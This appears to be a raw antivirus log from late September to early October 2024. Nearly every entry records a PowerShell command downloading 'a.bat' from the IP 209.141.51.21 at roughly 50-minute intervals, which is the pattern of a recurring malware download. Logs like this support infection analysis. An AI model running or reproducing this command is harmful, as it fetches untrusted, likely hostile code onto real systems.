C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 21:43:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 22:33:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 23:23:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-28 23:27:03 AVAVER: 21.2.2455 AR2: 240830 defs: 24092802 2024-09-28 23:27:03 ARPOT2: Start 5904 2024-09-28 23:27:03 AR2CFG: 240830 2024-09-28 23:27:03 AR2DEV: Start 1 Driver: 210305 2024-09-29 00:13:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 01:03:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 01:53:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 02:43:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 03:33:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 04:23:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 05:13:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 06:03:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 06:53:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 07:43:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 08:33:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 09:23:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 10:13:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 11:03:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 11:53:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 12:43:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 13:33:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 14:23:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 15:13:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 16:03:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 16:53:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 17:43:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 18:33:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 19:23:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 20:13:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 21:03:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 21:53:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 22:43:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-29 23:28:04 AVAVER: 21.2.2455 AR2: 240830 defs: 24092902 2024-09-29 23:28:04 ARPOT2: Start 5728 2024-09-29 23:28:04 AR2CFG: 240830 2024-09-29 23:28:04 AR2DEV: Start 1 Driver: 210305 2024-09-29 23:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 00:23:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 01:13:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 02:03:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 02:53:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 03:43:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 04:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 05:23:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 06:13:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 07:03:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 07:53:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 08:43:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 09:33:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 10:23:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 11:13:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 12:03:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 12:25:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 12:25:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 12:33:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 12:53:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 13:43:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 14:17:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 14:33:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 15:23:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 16:13:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 17:03:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 17:53:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 18:06:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 18:07:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 18:43:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 19:33:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 20:23:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 21:13:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 22:03:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 22:36:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 22:53:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-30 23:30:44 AVAVER: 21.2.2455 AR2: 240830 defs: 24092902 2024-09-30 23:30:44 ARPOT2: Start 2116 2024-09-30 23:30:44 AR2CFG: 240830 2024-09-30 23:30:44 AR2DEV: Start 1 Driver: 210305 2024-09-30 23:43:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 00:33:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 01:23:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 02:13:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 03:03:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 03:29:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 03:53:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 04:43:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 04:55:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 05:33:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 06:23:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 07:13:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 08:03:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 08:53:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 09:12:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 09:43:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 10:33:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 11:23:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 12:13:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 13:03:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 13:53:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 14:43:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 15:33:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 16:23:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 17:13:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 18:03:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 18:25:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 18:53:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 19:43:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 20:33:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 21:23:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 22:13:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 23:03:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-01 23:33:48 AVAVER: 21.2.2455 AR2: 240830 defs: 24092902 2024-10-01 23:33:48 ARPOT2: Start 6044 2024-10-01 23:33:48 AR2CFG: 240830 2024-10-01 23:33:48 AR2DEV: Start 1 Driver: 210305 2024-10-01 23:34:39 AR2DEV: Stopped 1 2024-10-01 23:34:40 AVAVER: 21.2.2455 AR2: 240830 defs: 24100104 2024-10-01 23:34:40 ARPOT2: Start 4880 2024-10-01 23:34:40 AR2CFG: 240830 2024-10-01 23:34:40 AR2DEV: Start 1 Driver: 210305 2024-10-01 23:34:41 AR2DEV: Stopped 1 2024-10-01 23:34:41 AVAVER: 21.2.2455 AR2: 240830 defs: 24100104 2024-10-01 23:34:41 ARPOT2: Start 7464 2024-10-01 23:34:41 AR2CFG: 240830 2024-10-01 23:34:41 AR2DEV: Start 1 Driver: 210305 2024-10-01 23:53:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 00:43:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 01:33:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 02:23:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 03:13:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 04:03:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 04:53:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 05:43:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 06:33:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 07:23:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 08:13:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 09:03:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 09:53:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 10:43:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 10:46:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 10:47:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 11:33:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 12:23:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 13:13:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 14:03:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 14:53:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 15:43:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 16:33:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 16:41:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 17:54:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 18:13:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 19:03:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-10-02 